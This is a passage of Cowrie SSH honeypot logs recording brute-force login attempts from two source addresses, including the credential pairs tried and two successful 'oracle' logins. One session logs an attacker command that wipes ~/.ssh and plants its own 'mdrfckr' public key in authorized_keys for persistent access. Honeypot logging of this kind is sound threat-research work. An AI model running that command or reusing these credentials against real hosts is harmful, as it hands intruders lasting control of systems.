cdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:16.579532Z","src_ip":"159.203.92.129","session":"922c870e985e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root@2021","message":"login attempt [administrator/root@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:16.660644Z","src_ip":"159.203.92.129","session":"922c870e985e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:17.688623Z","src_ip":"159.203.92.129","session":"922c870e985e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":46302,"dst_ip":"10.17.0.5","dst_port":22,"session":"c77af535d8f6","protocol":"ssh","message":"New connection: 150.95.157.171:46302 (10.17.0.5:22) [session: c77af535d8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:37.486379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:37.493229Z","src_ip":"150.95.157.171","session":"c77af535d8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:37.664260Z","src_ip":"150.95.157.171","session":"c77af535d8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qazxsw23edc","message":"login attempt [user/1qazxsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:38.333253Z","src_ip":"150.95.157.171","session":"c77af535d8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:39.494663Z","src_ip":"150.95.157.171","session":"c77af535d8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46120,"dst_ip":"159.203.135.109","dst_port":22,"session":"effa1840d3a9","protocol":"ssh","message":"New connection: 159.203.92.129:46120 (159.203.135.109:22) [session: effa1840d3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:01.207647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:01.212374Z","src_ip":"159.203.92.129","session":"effa1840d3a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:01.217264Z","src_ip":"159.203.92.129","session":"effa1840d3a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root@root123","message":"login attempt [administrator/root@root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:01.231838Z","src_ip":"159.203.92.129","session":"effa1840d3a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:02.239876Z","src_ip":"159.203.92.129","session":"effa1840d3a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":35122,"dst_ip":"10.17.0.5","dst_port":22,"session":"334a7f61e306","protocol":"ssh","message":"New connection: 150.95.157.171:35122 (10.17.0.5:22) [session: 334a7f61e306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:30.887490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:30.896374Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:31.049645Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@123456","message":"login attempt [oracle/oracle@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:31.671447Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.037046Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.040649Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.044814Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.213154Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.577339Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.580902Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.748848Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.752866Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":35826,"dst_ip":"10.17.0.5","dst_port":22,"session":"c68d4d01667b","protocol":"ssh","message":"New connection: 150.95.157.171:35826 (10.17.0.5:22) [session: c68d4d01667b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.899009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:32.906340Z","src_ip":"150.95.157.171","session":"c68d4d01667b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:33.067473Z","src_ip":"150.95.157.171","session":"c68d4d01667b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:33.734248Z","src_ip":"150.95.157.171","session":"c68d4d01667b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:34.900665Z","src_ip":"150.95.157.171","session":"c68d4d01667b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":36676,"dst_ip":"10.17.0.5","dst_port":22,"session":"74e39a57220c","protocol":"ssh","message":"New connection: 150.95.157.171:36676 (10.17.0.5:22) [session: 74e39a57220c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:35.058281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:35.063949Z","src_ip":"150.95.157.171","session":"74e39a57220c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:35.224125Z","src_ip":"150.95.157.171","session":"74e39a57220c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:35.901767Z","src_ip":"150.95.157.171","session":"74e39a57220c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:36.074671Z","src_ip":"150.95.157.171","session":"334a7f61e306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:36.079805Z","src_ip":"150.95.157.171","session":"74e39a57220c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60160,"dst_ip":"159.203.135.109","dst_port":22,"session":"e68be604f125","protocol":"ssh","message":"New connection: 159.203.92.129:60160 (159.203.135.109:22) [session: e68be604f125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:45.723948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:45.729082Z","src_ip":"159.203.92.129","session":"e68be604f125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:45.734182Z","src_ip":"159.203.92.129","session":"e68be604f125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root_123","message":"login attempt [administrator/root_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:45.745529Z","src_ip":"159.203.92.129","session":"e68be604f125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:01:46.754621Z","src_ip":"159.203.92.129","session":"e68be604f125","protocol":"ssh"}
